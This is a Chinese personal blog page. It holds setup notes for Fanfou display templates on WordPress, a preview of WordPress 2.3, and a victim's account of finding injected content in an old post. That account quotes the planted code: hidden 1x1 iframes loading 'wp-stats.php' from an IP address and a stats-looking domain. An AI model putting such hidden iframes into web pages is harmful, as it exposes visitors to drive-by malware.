sed /sshd/p -n /var/log/auth.log > /log/sshd.log » 21 days ago
看到有朋友提出这个源码用不了,于是乎作了些修改并测试了新版WP下的效果,都可以正常运行。
本来这几句代码是用在自己的blog上,没想到会有这些许朋友用到它。文件里关于使用方法及修改说明也写得乱七八糟的,今天重新作了修改,附上详细说明:
解包及配置:
下载文件包:fanfou_ing_plugin_for_wordpress.zip (google code host不给我传文件faint~~暂时先用svn co吧,或者邮件送出)
如果你也用svn的话那么请从这儿checkout:
http://ihao.googlecode.com/svn/trunk/plugin/wordpress/fanfou
解压后得到俩个文件:
ing.php (输出最新的单条饭否消息)
ings.php (输出20饭否存档信息的page模板)
将这俩个文件放到当前模板目录下面。
修改俩个文件中的四个配置变量分别是:
$ingid:你的饭否id(登录饭否时用的id,英文)
$ingname:饭否用户名(饭否消息中显示的用户名)
$noname:是否在显示饭否消息时去掉用户名(支持去掉中文名)(在输内容里去掉每条消息前的用户名 true/false)
$ingnum:消息的输出条数(1-20条)
修改ings.php文件中的html结构使之适合你当前的模板结构。
使用方法:
显示单条新消息:
在模板中想要显示饭否最新一条信息的地方引用ing.php这个文件。
<?php include (TEMPLATEPATH . '/ing.php'); ?>
显示消息存档页面:
新建一个page,在page template里选择”Ings”,填完标题后内容留空发表就OK了。
其他说明:
文件利用wp自带的MagpieRSS:/wp-includes/rss.php来读取并解析饭否API输出的用户xml文件并输出到页面,没有引入其他的代码,没有做成插件,尽量简单高效地实现消息输出。
wordpress默认的rss.php缓存更新时间为一个小时,如果心急测试,可以在rss.php的582行缓存设置做修改,如设置为10分钟(60*10)。
晚上打开blog首页时感觉相当卡,以为是firefox又在吃内存了,可每次开都卡就奇怪了,打开firebug一查,居然在打开首页时载入了俩个php文件,看文件名是wp-stats.php,以自己根本就没用过这个插件,再一看吓一跳,居然这文件是来自www.wp-stats-php.info和61.132.75.71的,还是放在俩个iframe里,回想一下自己的blog几乎都是自己一个字一个字码上的,就算转贴也不可能转到这样的代码啊。
打开首页原文件一查,居然是出去年十月份的一篇文章的最后。自己可从没在文章里加过广告之类的附加代码,到底是如何而来的。访问61.132.75.71无法打开,再访问www.wp-stats-php.info页面只显示”asasasa”,要不是61.132.75.71无法访问造面blog首页载入变慢估计我到死也想不到自己的blog被人搞进这么恶心的东西。
上网找答案,发现出这情况的还不只我一个:
Weird Thing happened in The Post
关于卡巴6报本站有马的问题……
iframe injection problem?
看来wp确实还存在着这么个不小的漏洞,这也不能怪我没有及时升级版本,2.3.1也有这情况出现。
而据说这事的始作俑者还是中国人,真不晓得该自豪还是悲哀。
目前还不知道有什么好的方法来解决,看来也只能看到一个删除一个了。
Update:忘了,把那段代码贴一下。
<!– Traffic Statistics –><br /><iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br /><!– End Traffic Statistics –><!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –></p>
wordpress2.3的测试版已经出了三个版本,做过测试的人相信已经做好了为明天正式版的发布而升级的准备了.iHao虽然也在本地装过一个测试版,但只是安装没做任何测试,感觉如今的wordpress已经越来越庞大到令我不安了.而这次2.3版的结构性大改动势必也将让广大的wordpress用户来一次大折腾.检查插件是否可用,修改数据结构,皮肤更新,而像我这样将老版wordpress中的Categories当Tags用的人来说,对于新版本中的Tag真有些不知所措了.
好吧,不管你面对大刀阔斧改进着的wordpress是否”堂”不”堂”得牢,总得对丫做些了解,以防哪天无聊时好慢慢折腾.
只推荐些值得一读的信息:
官方给出的几种备份数据库的方法
官方给出的2.3版可用插件列表
教你如何修改主题以支持2.3版本中自带的Tag (part 1) (part 2)
以Subversion的形式安装新版本(方便以后随时跟踪版本库而升级)
其他有待补充…
五个小时前wordpress终于放出了令人期待的加入了tag功能的测试版。兴奋之余乱翻一下原文说明:
三个月来我们乐此不疲地为下一版本的wordpress而努力,今天我们放出了wordpress2.3的第一个测试版,并期待着勇于探索尝试新事物的您来帮助我们测试她。
在2.3中包含了很多新的功能:插件及核心程序的更新通知,加入了被一支起期待的tags,更优化的javascript,和更适合seo的url重写规则。
然而这些许的新功能还相当不成熟,所以在决定试用这个测试版本前先确定你有处理一般的php问题的能力,并认真地备份你的数据。如果你对这些感兴趣的话可以加入到我们的邮件列表中来(wp-testers mailing list)。最后这儿便是这个测试版wordpress的下载地址:wordpress-2.3-beta1.zip
原文地址:wordpress 2.3 beta 1
Fresh Articles List
Popular Articles List
Most commented user
Oldies, but Goodies!
Popular Tags
Monthly Archives
iHao Friends
Site Meta